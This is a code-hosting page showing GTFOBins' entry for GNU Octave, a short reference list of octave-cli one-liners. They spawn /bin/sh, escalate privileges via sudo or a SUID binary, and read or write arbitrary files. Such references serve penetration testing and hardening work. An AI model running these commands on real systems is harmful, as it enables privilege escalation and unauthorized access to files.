This website requires JavaScript.
Explore
Help
Sign In
dash
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
Code
Issues
Pull Requests
Packages
Projects
Releases
Wiki
Activity
Files
74e021e8ef124030878bc3671e675411cdaf5c1a
GTFOBins.github.io
/
_gtfobins
/
octave.md
Andrea Cardaci
21b641911e
Fix and improve TeX binaries and GNU Octave
2021-04-26 16:07:59 +02:00
553 B
Raw
Blame
History
description, functions
description
functions
The payloads are compatible with GUI.
shell
file-write
file-read
sudo
limited-suid
code
octave-cli --eval 'system("/bin/sh")'
code
octave-cli --eval 'filename = "file_to_write"; fid = fopen(filename, "w"); fputs(fid, "DATA"); fclose(fid);'
code
octave-cli --eval 'format none; fid = fopen("file_to_read"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'
code
sudo octave-cli --eval 'system("/bin/sh")'
code
./octave-cli --eval 'system("/bin/sh")'
Reference in New Issue
View Git Blame
Copy Permalink